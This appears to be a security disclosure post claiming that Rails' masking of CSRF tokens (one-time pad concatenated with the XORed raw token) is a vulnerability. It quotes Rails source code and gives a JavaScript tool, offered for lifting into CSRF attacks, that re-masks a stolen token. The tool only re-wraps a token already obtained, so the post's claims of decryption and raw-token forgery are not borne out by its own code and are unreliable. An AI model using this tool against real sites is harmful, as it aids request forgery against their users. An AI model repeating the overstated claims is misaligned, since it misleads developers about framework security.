Good morning. All current versions and all versions since the 2022/2023 "fix" to the Rails cross-site request forgery (CSRF) protections continue to be vulnerable to the same attacks as the 2022 implementation. Currently, Rails generates "authenticity tokens" and "csrf tokens" using a random "one time pad" (OTP). This random value is then XORed with the "raw token" (which can take one of two forms based on if per-form CSRF protections are in place). Rails then, incorrectly, packages both the OTP and the XORed "raw token" together (through basic string concatenation) to form a "masked token", which is what is then sent to the user. Since the key (in this case the OTP) is included with the "ciphertext", attackers can "decrypt" the "encrypted CSRF token", generate their own random value (OTP), and then recreate the token or simply replay the token. Forging of the "raw token" can also be performed. Below is some of the offending code from Rails main branch's request_forgery_protec tion.rb: # Creates a masked version of the authenticity token that varies on each # request. The masking is used to mitigate SSL attacks like BREACH. def masked_authenticity_token(form_options: {}) action, method = form_options.values_at(:action, :method) raw_token = if per_form_csrf_tokens && action && method action_path = normalize_action_path(action) per_form_csrf_token(nil, action_path, method) else global_csrf_token end mask_token(raw_token) end ... def mask_token(raw_token) # :doc: one_time_pad = SecureRandom.random_bytes(AUTHENTICITY_TOKEN_LENGTH) encrypted_csrf_token = xor_byte_strings(one_time_pad, raw_token) masked_token = one_time_pad + encrypted_csrf_token encode_csrf_token(masked_token) end ... def real_csrf_token(_session = nil) # :doc: csrf_token = request.env.fetch(CSRF_TOKEN) do request.env[CSRF_TOKEN] = csrf_token_storage_strategy.fetch(request) || generate_csrf_token end decode_csrf_token(csrf_token) end def per_form_csrf_token(session, action_path, method) # :doc: csrf_token_hmac(session, [action_path, method.downcase].join("#")) end ... def csrf_token_hmac(session, identifier) # :doc: OpenSSL::HMAC.digest( OpenSSL::Digest::SHA256.new, real_csrf_token(session), identifier ) end ... def real_csrf_token(_session = nil) # :doc: csrf_token = request.env.fetch(CSRF_TOKEN) do request.env[CSRF_TOKEN] = csrf_token_storage_strategy.fetch(request) || generate_csrf_token end decode_csrf_token(csrf_token) end def per_form_csrf_token(session, action_path, method) # :doc: csrf_token_hmac(session, [action_path, method.downcase].join("#")) end For a simple JavaScript-based tool that can take any given CSRF token and forge a new token that has the same valid "raw token", see the below. The code can easily be lifted and put into some website-specific CSRF attack (how you get your tokens is your business): /** * This method returns the "one time pad", extracting it from the full, base64 encoded token. * * @param {string} full_token - The base64-encoded nonce intended to provide CSRF protections * @return {Uint8Array} The "one time pad" as a byte array */ function getOpt(full_token) { var decoded_token = Uint8Array.from(atob(full_token), b => b.charCodeAt(0)); return decoded_token.subarray(0, 32); } /** * This method returns the raw (XORed) token from the CSRF token. The "raw token" is defined by Rails as the CSRF token, which can either be global (per-form CSRF protections are disabled) or per-form (in which case it's a SHA256 hash of the session, action, and method). * * @param {string} full_token - The base64-encoded nonce intended to provide CSRF protections * @return {Uint8Array} The "raw token" as a byte array */ function getRawToken(full_token) { var decoded_token = Uint8Array.from(atob(full_token), b => b.charCodeAt(0)); var otp = decoded_token.subarray(0, 32); var masked_token = decoded_token.subarray(32); var raw_token = new Uint8Array(masked_token.length); // XOR the OTP and "masked token" for(var i = 0; i < masked_token.length; i++) { raw_token[i] = (otp[i] ^ masked_token[i]) & 0xFF; } return raw_token; } /** * This method returns a new cross-site request forgery token (CSRF) using the given "one time pad" and "raw token". * * @param {Uint8Array} otp - The "one time pad" that we are going to make the masked token with * @param {Uint8Array} raw_token - The byte array that is the "raw token" * @return {String} The new CSRF token */ function getCsrfToken(otp, raw_token) { var masked_token = new Uint8Array(raw_token.length); // XOR the OTP and "raw token" for(var i = 0; i < raw_token.length; i++) { masked_token[i] = (otp[i] ^ raw_token[i]) & 0xFF; } // Merge the OTP and masked token into a single array var csrf_token = new Uint8Array(otp.length + masked_token.length); csrf_token.set(otp); csrf_token.set(masked_token, otp.length); // Base64 and remove the padding (because they remove it in Rails) return btoa(Array.from(csrf_token, b => String.fromCharCode(b)).join('')).replace(/=+$/, ''); } /** * This method is a "helper method" that is just here for looks....... * * @param {Uint8Array} bytes - The byte array to turn into a hex string * @return {String} A pretty hexidecimal string representation of the given array */ function byteArrayToHexString(bytes) { var hex_string = ""; for(var i = 0; i < bytes.length; i++) { hex_string += ('0' + (bytes[i] & 0xFF).toString(16)).slice(-2); } return hex_string; } // Replace this with the stolen token or have your CSRF POC grab the token from the page and use that var token = "INSERT YOUR TOKEN HERE"; // Change the OTP to something else var otp = getOpt(token); otp[0] = 0xFF; otp[1] = 0x00; // Prove that we produce the same raw token, which is all that matters if(byteArrayToHexString(getRawToken(token)) == byteArrayToHexString(getRawToken(getCsrfToken(otp, getRawToken(token))))){ console.log("The new token that works is: " + getCsrfToken(otp, getRawToken(token))); console.log("Go forth and forge away..."); } else { console.log("We failed as testers/programmers..."); }